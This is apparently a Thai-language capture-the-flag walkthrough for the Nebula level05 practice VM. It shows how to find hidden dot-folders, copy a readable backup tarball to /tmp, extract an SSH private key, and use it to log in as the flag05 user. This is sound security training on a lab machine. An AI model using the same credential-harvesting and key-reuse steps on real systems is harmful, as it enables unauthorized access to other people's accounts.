บทนำ (Overview)
บทความนี้จะกล่าวถึงวิธีการหาไฟล์ที่ตั้งชื่อขึ้นด้วย “.” จากนั้นลองตรวจสอบหาข้อมูลสำคัญดังกล่าวว่ามีอะไรบ้าง ที่พอจะใช้สำหรับการเข้าถึงหรือยกระดับสิทธิตัวเอง และสุดท้ายวิธีการ “Login” ผ่าน “SSH” โดยใช้ “Private Key”
ขั้นตอน (Steps)
- ดาวน์โหลด “VM” ได้จาก https://exploit-exercises.com/download/
- “Login” โดยใช้ “User” คือ “level05” และ “Password” คือ “level05”
- โดยวัตถุประสงค์เราจะยกระดับสิทธิจาก “level05” เป็น “flag05”
- ทดลองเข้าโฟลเดอร์ “flag05” ปรากฏว่าไม่พบอะไรเลยดังนี้
ls -l total 0
- ที่นี้ลองใช้ “options -al” เรายังพบโฟลเดอร์และไฟล์ขึ้นต้นด้วย . เพิ่มเติมดังนี้
level05@nebula:/home/flag05$ ls -al total 5 drwxr-x--- 4 flag05 level05 93 2012-08-18 06:56 . drwxr-xr-x 1 root root 140 2012-08-27 07:18 .. drwxr-xr-x 2 flag05 flag05 42 2011-11-20 20:13 .backup -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile drwx------ 2 flag05 flag05 70 2011-11-20 20:13 .ssh
- ไล่ตรวจสอบโฟลเดอร์และไฟล์ที่เรามีสิทธิเข้าถึง ทดลองเข้าไปโฟลเดอร์ “.backup”
level05@nebula:/home/flag05$ cd .backup level05@nebula:/home/flag05/.backup$ ls -l total 2 -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz
- พบไฟล์ “zip” ที่มีนามสกุล “.tgz” ที่นี้เราลองแตกไฟล์ไปยังโฟลเดอร์ที่เขียนได้ซึ่งก็คือ “/tmp”
level05@nebula:/home/flag05/.backup$ cp backup-19072011.tgz /tmp/test.tgz level05@nebula:/home/flag05/.backup$ ls -l /tmp/test.tgz -rw-rw-r-- 1 level05 level05 1826 2017-02-12 04:27 /tmp/test.tgz level05@nebula:/home/flag05$ cd /tmp level05@nebula:/tmp$ tar xvf test.tgz .ssh/ .ssh/id_rsa.pub .ssh/id_rsa .ssh/authorized_keys
- ที่นี้ลองตรวจสอบแต่ละไฟล์จะพบว่า มีไฟล์ “private key” คือไฟล์ id_rsa และ public key คือ “id_rsa.pub” ของ “SSH” อยู่ ที่นี้เราลองใช้ “private key” ที่พบแทน “login” ของ “SSH” โดยใช้คำสั่งดังต่อไปนี้
#กำหนด path ของ id_rsa ให้เจอ มิเช่นนั้นจะไม่อนุญาต "login" ด้วย "private key" ssh -i /tmp/.ssh/id_rsa flag05@localhost
- สำหรับวิธีการ login จากเครื่องนอกเสียจากเครื่องเดียวกันสามารถทำได้ตามบทความดังต่อไปนี้